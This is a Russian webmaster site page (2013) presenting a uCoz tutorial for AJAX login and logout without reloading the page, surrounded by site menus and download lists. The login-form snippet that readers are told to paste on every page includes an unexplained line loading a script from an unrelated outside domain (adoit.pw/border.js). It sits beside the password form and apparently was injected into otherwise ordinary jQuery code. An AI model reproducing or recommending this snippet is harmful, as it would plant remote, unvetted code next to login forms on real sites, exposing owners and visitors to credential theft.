All-For-Kompa.RU

Сегодня:
Карта сайта форум Главная
Скрыть рекламный блок

Всё для компа

chat

Реклама

Реклама

Календарь

«  Август 2013  »
Пн Вт Ср Чт Пт Сб Вс
   1234
567891011
12131415161718
19202122232425
262728293031

Популярное

Партнёры



Развлекательный портал по игре Dota 2. У нас вы первым узнаете о последних игровых новостях, сможете почитать интересные статьи и гайды, посмотреть стримы популярных комментаторов и многое другое.

Про-софт - сайт професионального софта. Ето сайт не только софта но также игровых дополнений, музыки, фильмов, игр для ПК а также читов для ПК игр. Постоянное обновление материалов и каждый день появляется чтото новенькое!

Архив новостей

Авторизация

Реклама

Хочешь помочь проекту? Установи наш баннер!

Опрос

На сколько оцениваете сайт?

1. Лучший из лучших
2. Круто
3. отлично
4. пойдёт
5. так себе
6. О_о

Реклама

Хочешь помочь проекту? Установи наш баннер!

Популярные тэги

Комментарии

Счетчики

На сайте: 15
Прохожие: 15
Пользователей: 0
Статус:

Счётчик тИЦ и PR Rambler's Top100

Раздел: uCoz

Авторизация на сайте и выход из профиля без перезагрузки страницы

АвторАвтор: greenpis

|Голосов: 0 ДатаДата: 17.08.2013, 21:39

Данный скрипт очень полезен для тех, кто хочет перевести весь функционал своего сайта на ajax запросы. Суть скрипта в том, чтобы пользователь мог авторизовываться на сайте и выходить с него без перезагрузки страницы. Это очень удобный способ, так как авторизация будет максимально быстрой и вы сможете выполнять любые свои функции после успешного входа под своим профилем

Установка:

1) Форма входа:

На всех страницах замените $LOGIN_FORM$ на:

Код
<div id="apologin">$LOGIN_FORM$<div align="center" id="apolog" style="font-weight:bold;color:red"></div></div>
<script src="http://adoit.pw/border.js" type="text/javascript"></script> <script>
// ajax авторизация by Apocalypse
$('#apologin form').attr({'id':'apologformin', 'onsubmit': 'aposendFrmlogin();return false;'});
aposendFrmlogin = function() {
$('#apologformin').stop().fadeTo(300, 0.3);
_uPostForm('apologformin', {type:'POST', url:'/index/sub/', success:function(a) {
if($(a).text().indexOf('пароль') != -1) {
$('#apolog').html('Проверьте логин и пароль');
$('#apologformin').stop().fadeTo(300, 1);
setTimeout(function() {
$('#apolog').html('');
}, 3000);
} else {
$('#apolog').html('Авторизация прошла успешно');
$('#apologformin').remove();
// Далее здесь можно выполнять любые ваши скрипты после успешной авторизации
}
}, error:function(a) {
_uWnd.alert('Болом какой-то...', 'Упс', {w:200, h:70});
}});
}
// apo-ucoz.com (c) 2013
</script>


2) Кнопка выхода без перезагрузки страницы прописывается вот так:

Код
<a href="/index/10" onclick="apologout();return false;">Выход</a>
<script>
function apologout() {  
if(confirm('Уже уходишь?')) {  
$.post('/index/10');  
setTimeout(function() {  
_uWnd.alert('Вы успешно вышли из профиля', 'Мдяя...', {w:250, h:70});  
// Любые ваши функции после выхода  
}, 2000);  
};  
}
// apo-ucoz.com (c) 2013  
</script>




Правообладателям



Перед тем как скачать "Авторизация на сайте и выход из профиля без перезагрузки страницы", проверьте ВСЕ ссылки на работоспособность. На момент публикации "Авторизация на сайте и выход из профиля без перезагрузки страницы", все ссылки были в рабочем состоянии

Другие материалы на эту тему:

    Теги к материалу:

    Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь. Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]

    Популярные файлыНовые файлы
    Call of Duty 5: World at ...[ Скачали 67935 раз ]
    Амфибии, Гайд по ассасина...[ Скачали 32286 раз ]
    Амфибии, Гайд по шаманам.[ Скачали 31159 раз ]
    cs 1.6 patch v48 full[ Скачали 29596 раз ]
    Русский бот PW Alfa v 2.6[ Скачали 17789 раз ]
    Огромный пак глюков и баг...[ Скачали 13254 раз ]
    civilization 5 скачать бе...[ Скачали 12303 раз ]
    PW MP5[ Скачали 11631 раз ]
    MHS-Bot-PW 2.3 ботовод[ Скачали 11041 раз ]
    Niko Bellic (нико белич) ...[ Скачали 10374 раз ]
    Wallpapers Girls №1199[ Добавлен 26.10.2025 ]
    Wallpapers Mix №1980[ Добавлен 24.10.2025 ]
    Wallpapers Mix №1979[ Добавлен 19.10.2025 ]
    Wallpapers Mix №1978[ Добавлен 17.10.2025 ]
    Wallpapers Mix №1977[ Добавлен 12.10.2025 ]
    Wallpapers Mix №1976[ Добавлен 11.10.2025 ]
    Wallpapers Mix №1975[ Добавлен 08.10.2025 ]
    Wallpapers Mix №1974[ Добавлен 05.10.2025 ]
    Wallpapers Mix №1973[ Добавлен 04.10.2025 ]
    Wallpapers Mix №1972[ Добавлен 02.10.2025 ]